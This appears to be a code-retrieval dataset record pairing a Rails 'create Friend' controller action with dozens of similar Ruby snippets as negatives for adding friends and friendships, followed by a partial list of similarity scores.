@friend = Friend.new(friend_params)
respond_to do |format|
if @friend.save
format.html { redirect_to @friend, notice: 'Friend was successfully created.' }
format.json { render :show, status: :created, location: @friend }
else
format.html { render :new }
format.json { render json: @friend.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def friend\n @user.friendships.build(friend_id: @friend.id)\n if @user.save\n render json: { success: true }\n else\n render json: {message: @user.errors&.messages || 'Unable add as friend, please try again'}, status: 202\n end\n end",
"def add_friend\n\n current_user.friends_list.push(define_friend)\n # binding.pry\n if current_user.save\n render json: current_user \n else\n render json: @user.errors, status: 422\n end\n\n end",
"def create\n # @friend = Friend.new(friend_params)\n @friend = current_user.friends.build(friend_params)\n respond_to do |format|\n if @friend.save\n format.html { redirect_to @friend, notice: I18n.t('friend.create') }\n format.json { render :show, status: :created, location: @friend }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_friend\n # byebug\n #we get user_id from jwt!\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if !Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"There was a problem! (Ya been blocked!)\"}\n end\n\n followee = User.find(follow_params[:user2])\n #insert the one way relation in db!\n friend_request = Follow.new(follower_id: user.id, followee_id: followee.id)\n if friend_request.save\n render json: {friend_request: followee} \n else\n render json: {error: \"There was a problem!\"}\n end\n end",
"def friendships_create(options = {})\n @req.post(\"/1.1/friendships/create.json\", options)\n end",
"def create\n Friendship.request(@user, @friend)\n @friend = Friendship.find_by_user_id_and_friend_id(@user, @friend)\n render :json => { :success => true, :new_friend => @friend }\n end",
"def create\n #@friend = Friend.new(friend_params)\n @friend = current_user.friends.build(friend_params)\n respond_to do |format|\n if @friend.save\n format.html { redirect_to @friend, notice: \"Friend was successfully created.\" }\n format.json { render :show, status: :created, location: @friend }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@friendrequest = Friendrequest.new(params[:friendrequest])\n \n @user = User.find(params[:user_id])\n #@friend = Friend.new(params[:friend])\n @friendreq = @user.friendrequests.create(params[:friendrequest].permit(:futurefriend))\n\n respond_to do |format|\n if @friendrequest.save\n format.html { redirect_to @friendrequest, notice: 'Friendrequest was successfully created.' }\n format.json { render json: @friendrequest, status: :created, location: @friendrequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @friendrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @friend = Friend.new(user_id: params[:user_id], friend_id: params[:friend_id])\n\n respond_to do |format|\n if @friend.save\n format.html { redirect_to @friend, notice: \"Friend was successfully created.\" }\n format.json { render :show, status: :created, location: @friend }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @friend = Friend.new(params[:friend])\n\n respond_to do |format|\n if @friend.save\n format.html { redirect_to @friend, notice: 'Friend was successfully created.' }\n format.json { render json: @friend, status: :created, location: @friend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # prevent user from adding friends who are already on friends list.\n if @friendship\n render json: { Message: \"You're already friends!\" }, status: :unprocessable_entity\n else\n @friend = current_user.friendships.create(:friend_id => @friend_id)\n render json: @friend, status: 201\n end\n end",
"def create\n current_user.friends.create(\n friend_id: @user.id\n )\n redirect_to root_path\nend",
"def create\n @user = User.new(user_params)\n\n if @user.save\n @users = User.friends_by_name(user_params[:name])\n render json: {me: @user, users: @users, rooms: []}, status: :ok\n else\n render json: {error: @user.errors.full_messages.first}, status: :unprocessable_entity\n end\n end",
"def add\n params[:friends].each do |email|\n friend = User.find_by_email(email)\n next unless friend.present?\n\n # Check the inverse friendship and add if necessary\n friendship = Friendship.find_by_user_id_and_friend_id(friend.id, current_user.id)\n unless friendship.present?\n inverse_friendship = friend.friendships.build(friend_id: current_user.id)\n if inverse_friendship.save\n puts \"Added friendship for #{friend.name} (#{friend.id}) and #{current_user.name} (#{current_user.id})\"\n end\n end\n end\n\n render json: { success: true }\n end",
"def create\n @friend = Friend.new(friend_params)\n\n if @friend.save\n render :show, status: :created, location: @friend\n else\n render json: @friend.errors, status: :unprocessable_entity\n end\n end",
"def add_friend\n # check if this friend isnt't to our list friend\n if params[:user_id].to_i == params[:friend_id].to_i \n render json: {\n message: \"Not yourself\"\n }, status: 400\n else\n @current_user = User.find(params[:user_id])\n if @current_user.friend.find_by(friend: params[:friend_id])\n render json: {\n message: \"#{User.find(params[:user_id]).name} can't be added, You are friend with this user\",\n errors: {\n error_code: \"\",\n error_description: \"\"\n }\n }, status: 401\n else\n # add friend\n puts \"Starting adding friend ...\"\n @new = @current_user.friend.new(friend: params[:friend_id], status: :pending)\n if @new.save\n render json: {\n message: \"#{User.find(params[:user_id]).name} added as friend\"\n }, status: 201\n else\n render json: {\n message: @new.errors.messages\n }, status: 401\n end\n end\n end\n\n end",
"def create\n @friend = Friend.new(friend_params)\n\n respond_to do |format|\n if @friend.save\n format.html { redirect_to request.referrer }\n format.json { render :show, status: :created, location: @friend }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if safe_create_friend\n format.html { redirect_to member_friends_path(@member), notice: 'Friend was successfully created.' }\n format.json { render :show, status: :created, location: @member }\n else\n format.html { render :new }\n format.json { render json: @friend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @friends1 = Friends1.new(friends1_params)\n\n respond_to do |format|\n if @friends1.save\n format.html { redirect_to @friends1, notice: \"Friend was successfully created.\" }\n format.json { render :show, status: :created, location: @friends1 }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friends1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @friend = Friend.new(params[:friend])\n @friend.save\n respond_with(@friend)\n end",
"def create\n @friendslist = Friendslist.new(params[:friendslist])\n\n respond_to do |format|\n if @friendslist.save\n format.html { redirect_to @friendslist, notice: 'Friendslist was successfully created.' }\n format.json { render json: @friendslist, status: :created, location: @friendslist }\n else\n format.html { render action: \"new\" }\n format.json { render json: @friendslist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_friend\n # If there is no pending connection between persons,\n # add pendind/requested connections between them.\n # If there is already a pending connection requested from the other direction,\n # change friendship status to accepted.\n\n if (params['user_id'] == params['friend_id'])\n render_json :messages => \"Cannot add yourself to your friend.\", :status => :bad_request and return\n end\n\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n @friend = Person.find_by_guid(params['friend_id'])\n if ! @friend\n render_json :status => :not_found and return\n end\n\n if @person.association? or @friend.association?\n render_json :messages => \"Association users cannot have friends.\", :status => :bad_request and return\n end\n\n if @person.pending_contacts.include?(@friend) #accept if pending\n Connection.accept(@person, @friend)\n else\n unless @person.requested_contacts.include?(@friend) || @person.contacts.include?(@friend)\n Connection.request(@person, @friend) #request if didn't exist\n end\n end\n\n render_json :status => :ok\n end",
"def create\n #friends_list = FriendsList.new(friends_list_params)\n @friends_list = current_user.friends_list.build(friends_list_params)\n\n respond_to do |format|\n if @friends_list.save\n format.html { redirect_to @friends_list, notice: \"Friend was successfully added.\" }\n format.json { render :show, status: :created, location: @friends_list }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friends_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def make_friend_with(username)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_post_call('/friends/%s/request' % [username]).status == \"OK\"\n end",
"def create\n @friends_list = FriendsList.new(friends_list_params)\n\n respond_to do |format|\n if @friends_list.save\n format.html { redirect_to @friends_list, notice: 'Friends list was successfully created.' }\n format.json { render :show, status: :created, location: @friends_list }\n else\n format.html { render :new }\n format.json { render json: @friends_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #Find the current user and the requested friend\n @user=current_user\n friend=User.find_by_email(params[:email])\n #make sure the friend exists\n if(friend)\n #Check to see if the friendship already exists\n friendCheck=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(!friendCheck)\n #If there is no friendship between the two users, continue as normal\n @friendship = @user.friendships.build(:friend_id => friend.id)\n\n respond_to do |format|\n #Do it again for the reverse relationship (a friends with b and b friends with a are two separate relationships)\n if @friendship.save\n @friendship=friend.friendships.build(:friend_id => @user.id)\n if @friendship.save\n #Send an email to the friend so they can confirm that they want to be friends\n UserMailer.confirmation_email(@user,friend).deliver\n format.html { redirect_to @friendship, notice: 'Friendship was successfully created.' }\n format.json { render json: {:created => 'true', :exists => 'true', :friends => 'false'}}\n else\n format.html { render action: \"new\" }\n format.json { render json: {:created => 'false', :friends => 'false', :exists => 'true'}}\n end\n else\n render json: {:created => 'false', :friends => 'false', :exists => 'true'}\n end\n end\n else\n #If the friendship exist, return this fact to the app. It will notify the user.\n render json: {:friends => 'true', :exists => 'true', :created => 'false'}\n end\n else\n #If the user does not exist, let the app know.\n render json: {:friends => 'false', :exists => 'false', :created => 'false'}\n end\n end",
"def add_future_friend(friend_id)\n add_future_params(:add_friends, [friend_id])\n end",
"def friend_params\n params.require(:friend).permit(:user_id, :name)\n end",
"def friends(options={})\n get('/friends', options)\n end",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def friend_params\n params.require(:friend).permit(:name, :address, :user_id)\n end",
"def friend_params\r\n params.require(:friend).permit(:user_id, :friend_id)\r\n end",
"def friend_params\n params.require(:friend).permit(:friend_name)\n end",
"def friend(action, value)\n raise ArgumentError, \"Invalid friend action provided: #{action}\" unless @@FRIENDSHIP_URIS.keys.member?(action)\n value = value.to_i unless value.is_a?(String)\n uri = \"#{@@FRIENDSHIP_URIS[action]}/#{value}.json\"\n response = http_connect {|conn| create_http_post_request(uri) }\n bless_model(Twitter::User.unmarshal(response.body))\n end",
"def friend_params\n params.require(:friend).permit(:user_id, :friend_id)\n end",
"def create\n @friendsofuser = Friendsofuser.new(params[:friendsofuser])\n\n respond_to do |format|\n if @friendsofuser.save\n flash[:notice] = 'Friendsofuser was successfully created.'\n format.html { redirect_to(@friendsofuser) }\n format.xml { render :xml => @friendsofuser, :status => :created, :location => @friendsofuser }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @friendsofuser.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_buddies_to_friends_list\n if user_id.blank?\n render :status=>401,\n :json=>{:Message=>\"The user id cannot be blank for this api.\",\n :Response => \"Fail\",\n :Data => nil} \n end\n friend = User.find_by_id(user_id)\n friend.follow(requested_user)\n render :status=>200,\n :json=>{:Message=>\"Added #{friend.name} to buddy list!\",\n :Response => \"Success\",\n :Data => nil} \n end",
"def create\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id])\n @friendship.status = \"SENT\"\n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_url\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to root_url\n end\n end",
"def add\n id = params.require(:friend_id)\n current_user.friendships.create friend_id: id\n\n respond_to do |format|\n format.html { redirect_to friends_path, alert: \"#{User.find(id).name} is now your friend\" }\n format.json { render :json => {success: 'OK'} }\n end\n end",
"def create\n @friendlist = Friendlist.new(friendlist_params)\n\n respond_to do |format|\n if @friendlist.save\n format.html { redirect_to @friendlist, notice: 'Friendlist was successfully created.' }\n format.json { render :show, status: :created, location: @friendlist }\n else\n format.html { render :new }\n format.json { render json: @friendlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def friend(note = nil)\n name = read_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def create\n @friend = Friend.new(params[:friend])\n case @friend.profile_url\n when %r!facebook\\.com/profile\\.php\\?id=(\\d+)!\n friend_info = rest_graph.get($1)\n @friend.user_id = friend_info[\"id\"]\n @friend.user_name = friend_info[\"name\"]\n when %r!facebook\\.com/([^?]+)!\n friend_info = rest_graph.get($1)\n @friend.user_id = friend_info[\"id\"]\n @friend.user_name = friend_info[\"name\"]\n end\n\n respond_to do |format|\n if @friend.save\n format.html { redirect_to(@friend, :notice => 'Friend was successfully created.') }\n format.xml { render :xml => @friend, :status => :created, :location => @friend }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def friend_params\n params.require(:friend).permit(:name, :email, :phone, :instagram, :user_id)\n end",
"def create\n if current_user.friends.exists?(params[:friend_request][:receiver_id])\n redirect_to users_show_path(current_user), flash: {notice: \"You are already friend\"}\n else\n @friend_request = FriendRequest.new(friend_request_params.merge(sender_id: current_user.id))\n respond_to do |format|\n if @friend_request.save\n format.html { redirect_to @friend_request, notice: 'Friend request was successfully created.' }\n format.json { render :show, status: :created, location: @friend_request }\n else\n format.html { render :new }\n format.json { render json: @friend_request.errors, status: :unprocessable_entity }\n end\n end\n\n end\n\n\n end",
"def create\n user = User.find(params[:user_id])\n friend_request = user.incoming_requests.build(sender_id: current_user.id)\n if friend_request.save\n if friend_request.sender == current_user\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: \"Friend request sent to #{user.name}.\") }\n format.json do\n render json: {\n request: {\n id: friend_request.id,\n name: friend_request.sender.name\n },\n message: \"Friend request sent to #{user.name}.\"\n }\n end\n end\n else\n redirect_back(fallback_location: root_path, notice: \"Friend request sent to #{user.name}.\")\n end\n else\n redirect_back(fallback_location: root_path, alert: 'Friend request could not be sent.')\n end\n end",
"def friend_params\n params.require(:friend).permit(:user_id, :friend_id, :status)\n end",
"def my_friends\n @current_user = User.find(params[:user_id])\n render json: {\n friends: @current_user.friend.where(status: 'accept').map do |friend|\n {\n id: friend.id,\n name: User.find(friend.friend).name.upcase,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n date: friend.created_at\n }\n end\n }\n end",
"def friend_params\n params.permit(:user_id, :friend_id)\n end",
"def friend_params\n params.permit(:user_id, :friend_id)\n end",
"def friend_params\n params.require(:friend).permit(:id, :name)\n end",
"def create\n logger.debug('In the create method afterall')\n logger.debug( friend_params )\n current_user.friendships.create!(:friend_id => params[:friend_id]) \n\n redirect_to friendship_index_path\n end",
"def follow!(new_friend)\n\t\tresponse = access_token.post(\"/friendships/create/#{new_friend}.json\")\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tfriend=JSON.parse(response.body)\n\t\t\traise TwitterOauth::UnexpectedResponse unless friend.is_a? Hash\n\t\t\tfriend\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in follow!: #{err}\"\n\t\traise err\n\tend",
"def friend_params\n params.require(:friend).permit(:user_id, :friend_id, :facebook_id, :friend_confirm)\n end",
"def create\n @friend = Friend.new(params[:friend])\n\t@friend.user_id = flash[:user_id]\n @friend.image_url = \"http://128.100.195.55:3000/content/friendphoto2.jpg\";\n @user = User.find(@friend.user_id);\n @user.friends << @friend;\n \n respond_to do |format|\n if @friend.save\n flash[:notice] = 'Friend was successfully created.'\n format.html { redirect_to(@friend) }\n format.xml { render :xml => @friend, :status => :created, :location => @friend }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @friend.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_friend\n\n \t\tif params[:friends].blank? || params[:friends].size != 2\n \t\t\tlogger.info(\"[FriendUserController]create_friend == params is error ,params ==#{params[:friends]}\")\n \t\t\treturn render :json => {:success => false}\n \t\tend\n \t\temail = params[:friends][0]\n \t\tfriend_email = params[:friends][1]\n\n \t\t# block updates from an email address,if they are not connected as friends, then no new friends connection can be added\n \t\tif BlockUser.exists?(:email=>email,:block_email=>friend_email) || BlockUser.exists?(:email=>friend_email,:block_email=>email)\n \t\t return render :json => {:success => false}\n \t\tend\n \t\t#if they are connected as friends,retrun success is true\n \t\tif FriendUser.exists?(:email=>email,:friend_email=>friend_email) || FriendUser.exists?(:email=>friend_email,:friend_email=>email)\n \t\t\treturn render :json => {:success => true}\n \t\tend\n\n \t\t#create a friend connection between two email addresses.\n \t\tfriend_user = FriendUser.create(:email=>email,:friend_email=>friend_email)\n\n \t\tif friend_user.save\n \t\t\tlogger.info(\"[FriendUserController]create_friend == create a friend connection between two email addresses ,params ==#{params[:friends]}\")\n \t\t\treturn render :json => {:success => true}\n \t\telse\n \t\t\tlogger.info(\"[FriendUserController]create_friend == can not create a friend connection between two email addresses,error=#{friend_user.errors.full_messages} ,params ==#{params[:friends]}\")\n \t\t\treturn render :json => {:success => false}\n \t\tend\n \t\t\n \tend",
"def friend_params\n params.require(:friend).permit(:requester_id, :destiny_id, :status)\n end",
"def create\n @user = User.find_by(:email => friendship_params[:email])\n if @user.nil?\n render json: { error: \"Cannot find user with specified email\"}, status: 400\n else\n id = @user.firstName\n if Friendship.exists?(:user_id => @current_user.id, :friend_id => @user.id)\n render json: { error: 'Already Friends'}, status: 400\n else\n @friendship = @current_user.friendships.build(:friend_id => @user.id)\n if @friendship.save\n @friend_user = @friendship.friend\n @inverse_friendship = @friend_user.friendships.build(:friend_id => @current_user.id)\n if @inverse_friendship.save\n render json: @friendship, status: :created\n else\n render json: @inverse_friendship.errors, status: :unprocessable_entity\n end\n else\n render json: @friendship.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def create\n\t\t@profile_friend = Friendship.new(profile_friend_params)\n\t\t@profile_friend.friend_a = current_user\n\n\t\trespond_to do |format|\n\t\t\tif @profile_friend.save\n\t\t\t\tback_page = profile_friends_path\n\t\t\t\tback_page = URI(request.referer).path if params[:back]\n\t\t\t\tformat.html { redirect_to back_page, notice: 'Friend was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: back_page }\n\t\t\telse\n\t\t\t\tformat.html { broadcast_errors @profile_friend, profile_friend_params }\n\t\t\t\tformat.json { render json: @profile_friend.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @user.make_friend_with! params[:id]\n render_created\n end",
"def friends_list_params\n params.require(:friends_list).permit(:first_name, :last_name, :phone, :email, :notes, :user_id)\n end",
"def friendlist_params\n params.require(:friendlist).permit(:first_name, :last_name, :email, :phone, :twitter)\n end",
"def create\n user = User.find(params[:user_id])\n friendship = current_user.friendships.build(friend: user)\n if friendship.save\n reciprocal_friendship = user.friendships.build(friend: current_user)\n if reciprocal_friendship.save\n request_1 = FriendshipRequest.find_by(sender: current_user, recipient: user)\n request_2 = FriendshipRequest.find_by(sender: user, recipient: current_user)\n request_1.destroy if request_1\n request_2.destroy if request_2\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path, notice: \"You and #{user.name} are now friends!\") }\n format.json do\n render json: {\n friendship: {\n name: current_user.name,\n id: current_user.id\n },\n message: \"You and #{user.name} are now friends!\"\n }\n end\n end\n else\n friendship.destroy\n redirect_back(fallback_location: root_path, notice: \"There was an error creating the friendship\")\n end\n else\n redirect_back(fallback_location: root_path, notice: \"There was an error creating the friendship\")\n end\n end",
"def add_friend\n\t\t# unless @current_user.friends.include? params[:id] \n\t\t@current_user.push(friends: params[:id])\n\t\t# push to friends array id number of friend\n\n\t\tredirect_to \"/profile/#{@current_user.id}\"\n\t\t# show the new friend\n\tend",
"def friends_list_params\n params.require(:friends_list).permit(:first_name, :last_name, :email, :phone, :twitter)\n end",
"def friend_params\n params.require(:friend).permit(:first_name, :last_name, :email, :phone, :twitter,:user_id)\n end",
"def index\n @user = current_user\n render json: @user.friends\n end",
"def new\n @friendslist = Friendslist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendslist }\n end\n end",
"def friends\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/list').friends\n end",
"def create\n user = User.find(params[:friend_id])\n if current_user == user\n redirect_to root_path, notice: \"You can't send request to yourself\"\n return\n elsif Friendship.where(friend_id: user.id, user_id: current_user, confirm: false).exists?\n redirect_to root_path, notice: \"Friend request already sent\"\n return\n elsif Friendship.where(friend_id: current_user, user_id: user.id, confirm: false).exists?\n redirect_to root_path, notice: \"This user already sent friend request to you. Respond to it!\"\n return\n end\n @friendship = current_user.friendships.build(friend_id: user.id)\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to root_path, notice: \"Friends request sent\" }\n format.json { render :show, status: :created, location: @friendship }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pending_friend_request = PendingFriendRequest.new(pending_friend_request_params)\n\n respond_to do |format|\n if @pending_friend_request.save\n format.html { redirect_to '/profile', notice: 'Friend request sent!' }\n format.json { render action: 'show', status: :created, location: @pending_friend_request }\n else\n format.html { render action: 'new' }\n format.json { render json: @pending_friend_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user=User.find(params[:uid])\n friend=User.find(params[:fid])\n #make sure the friend and user exist\n if(friend && @user)\n #Check to see if the friendship already exists\n friendShip=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(friendShip)\n #If there is a friendship between the two users, continue as normal\n #Change the type of friendship to Confirmed.\n #The users will then show up on each others maps.\n #The logic for this is in the users model\n friendShip.type='ConfirmedFriendship'\n respond_to do |format|\n if friendShip.save\n #Then do it again for the inverse relationship (see the new method for an explanation of why this is necessary)\n friendShip=Friendship.find_by_user_id_and_friend_id(friend.id, @user.id)\n #Change the type of friendship to Confirmed.\n #The users will then show up on each others maps.\n #The logic for this is in the users model\n friendShip.type='ConfirmedFriendship'\n session[:user_id]=@user.id\n if friendShip.save\n format.html { redirect_to \"http://54.235.20.117:3000/users/#{@user.id}.html\", notice: 'Friendship was successfully created.' }\n format.json { render json: {:created => 'true', :exists => 'true', :friends => 'false'}}\n else\n format.html { redirect_to @user, notice: 'Something went wrong!'}\n format.json { render json: {:created => 'false', :friends => 'false', :exists => 'true'}}\n end\n else\n format.html { redirect_to @user, notice: 'Something went wrong!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n else\n #If the friendship doesn't exist, don't create the friendship. This will never be sent to the app\n #So the important part is the html response.\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Something went wrong! According to our records, this friendship was never requested!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n else\n #If the user does not exist, inform the user that their link was incorrect.\n respond_to do |format|\n format.html { redirect_to @user, notice: 'Something went wrong! According to our records, you do not exist!'}\n format.json {render json: {:friends => 'false', :exists => 'false', :created => 'false'}}\n end\n end\n end",
"def friend\n if params.include?(:id)\n @user.friends += [User.find(params[:id])]\n elsif params.include?(:username)\n @user.friends += [User.find_by(username: params[:username])]\n end\n redirect_to root_path\n end",
"def create\n @friends = params[:friends] || []\n @hack = Hack.new(params[:hack])\n @hack.sort_rand = Random.rand\n @hack.event_id = @event.id\n\n if !@hack.save\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n return\n end\n\n assoc = HackMembersAssoc.new\n assoc.hack = @hack\n assoc.user = @current_user\n assoc.confirmed = true\n assoc.save!\n @friends.each do |friend_id|\n friend = User.get_or_create_by_fbid(friend_id, @api);\n assoc = HackMembersAssoc.new\n assoc.hack = @hack\n assoc.user = friend\n assoc.confirmed = true\n assoc.save!\n end\n\n respond_to do |format|\n format.html { redirect_to @event, :notices => ['Hack was successfully created.'] }\n format.json { render :json => @hack, :status => :created, :location => [@event, @hack] }\n end\n end",
"def new\n @friend = current_user_or_guest.friends.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @friend }\n format.json { render json: @friend }\n end\n end",
"def get\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\t\t\t\n\t\t\trender json: {friends: user.friends.each {|f| f.password = nil}}\n\t\tend\n\tend",
"def friend_params\n params.permit(:friend_id)\n end",
"def friendships_update(options = {})\n @req.post(\"/1.1/friendships/update.json\", options)\n end",
"def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end",
"def add_friends\n @params[:friend_ids].each do |id|\n @plan.users_plans.new(user_id: id)\n end\n end",
"def friends1_params\n params.require(:friends1).permit(:first_name, :last_name, :email, :phone, :instagram, :user_id)\n end",
"def create\n @friendship = current_user.friendships.build(friend_id: params[:friend_id])\n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_url\n else\n flash[:alert] = \"Unable to add friend.\"\n redirect_to root_url\n end\n end",
"def requests_sent\n friends = Friend.where(user_id: params[:user_id], accepted: false)\n\t render json:friends\n end",
"def create\n\n if current_user.friends.include?(params[:friend_id])\n flash[:notice] = \"It's polite to ask once.\"\n else\n\n\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], approved: \"false\")\n\n if @friendship.save\n\n\n\n log_activity\n\n flash[:notice] = \"Friend requested.\"\n\n\n\n redirect_to :back\n else\n flash[:error] = \"Unable to request friendship.\"\n redirect_to :back\n end\n end\n end",
"def create\n friend = Friend.create user_id: current_user.id, other_id: params[:id]\n o = friend.other\n datum = {id: friend.id, email: o.email, own: true}\n reciprocal = friend.mutual\n if reciprocal\n datum[:subscribed_to_me] = reciprocal.subscribed\n datum[:mutual] = true\n datum[:other_id] = reciprocal.id\n end\n notify friend, 1\n render json: datum\n end",
"def friend_params\n params.require(:friend).permit(:user_id)\n end",
"def create_friendship(user = nil, params = {})\n args = [user, params]\n post path_from_args('friendships/create', args), {:follow => true}.merge(params_from_args(args))\n end",
"def create\n\t\tFriendship::request(@user, @friend)\n\t\tUserMailer::friend_request(\n\t\t\t:user => @user,\n\t\t\t:friend => @friend,\n\t\t\t:user_url => profile_for(@user),\n\t\t\t:accept_url => url_for(:action => \"accept\", :id => @user.screen_name),\n\t\t\t:decline_url => url_for(:action => \"decline\", :id => @user.screen_name)\n\t\t).deliver_now\n\t\tflash[:notice] = \"Friend request sent.\"\n\t\tredirect_to profile_for(@friend)\n\tend",
"def friend_params\n params.require(:friend).permit(:friend_account_id)\n end",
"def add_friend_request(user_id)\n friend_suggestions.where(user_id: user_id).delete_all\n req = pending_friends.where(id: user_id).first\n if req.present?\n req.accept!\n else\n req = UserFriendRelationship.between(user_id, id).first || user_friend_relationships.create(user_to_id: user_id)\n PubSub::Publisher.new.publish_for([req.user_to], 'friend_request', {source: self.as_basic_json}, {title: full_name(false), body: 'wants to be your friend'})\n end\n # reset_cache('suggested_friends')\n end",
"def befriend new_friend\n run_callbacks :befriend do\n friendships.create friend: new_friend\n end\n end",
"def accept\n\t\tuser.friends << friend\n\t\tdestroy\n\tend",
"def create\n @friend_request = current_user.friend_requests_as_requester.build(create_friend_request_params)\n\n respond_to do |format|\n if @friend_request.save\n format.html { redirect_to @friend_request, notice: 'Friend request was successfully created.' }\n format.json { render :show, status: :created, location: @friend_request }\n else\n format.html { render :new }\n format.json { render json: @friend_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plant = Plant.find(params[:plant])\n @friendship = @plant.friendships.build(:friend_id => params[:friend])\n if @friendship.save\n flash[:notice] = \"added friend\"\n redirect_to request.referrer\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to request.referer\n end\n end",
"def create\n relationship = Relationship.between(current_user.id, params[:user_two_id]).first\n unless relationship\n current_user.add_friend(User.find(params[:user_two_id]))\n relationship = Relationship.between(current_user.id, params[:user_two_id]).first\n relationship.status = 1\n relationship.save\n end\n friend = User.find_friend(current_user, relationship)\n redirect_to friendlist_path\n end",
"def destroy\n @friend.destroy\n render json: {}\n end",
"def create\n @friendship = current_user.friendships.build(:friend_id => params[:id])\n \n if @friendship.save\n flash[:notice] = \"Added friend.\"\n redirect_to root_path\n else\n flash[:error] = \"Unable to add friend.\"\n redirect_to root_path\n end\n end",
"def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end",
"def user_params\n params.require(:user).permit(:nickname, :email, :friends)\n end"
] |
[
"0.6929615",
"0.68731165",
"0.6859937",
"0.6829343",
"0.6796485",
"0.67732674",
"0.67154217",
"0.6699764",
"0.6698836",
"0.66881865",
"0.66756314",
"0.6651872",
"0.6623602",
"0.65965533",
"0.659456",
"0.65587676",
"0.6517505",
"0.64976156",
"0.64935964",
"0.6487597",
"0.6442475",
"0.64190537",
"0.6389306",
"0.63759893",
"0.6366423",
"0.6351339",
"0.6345823",
"0.630866",
"0.629167",
"0.6267289",
"0.6267289",
"0.62657195",
"0.62488586",
"0.62485087",
"0.62460905",
"0.624575",
"0.6235479",
"0.62329006",
"0.6227453",
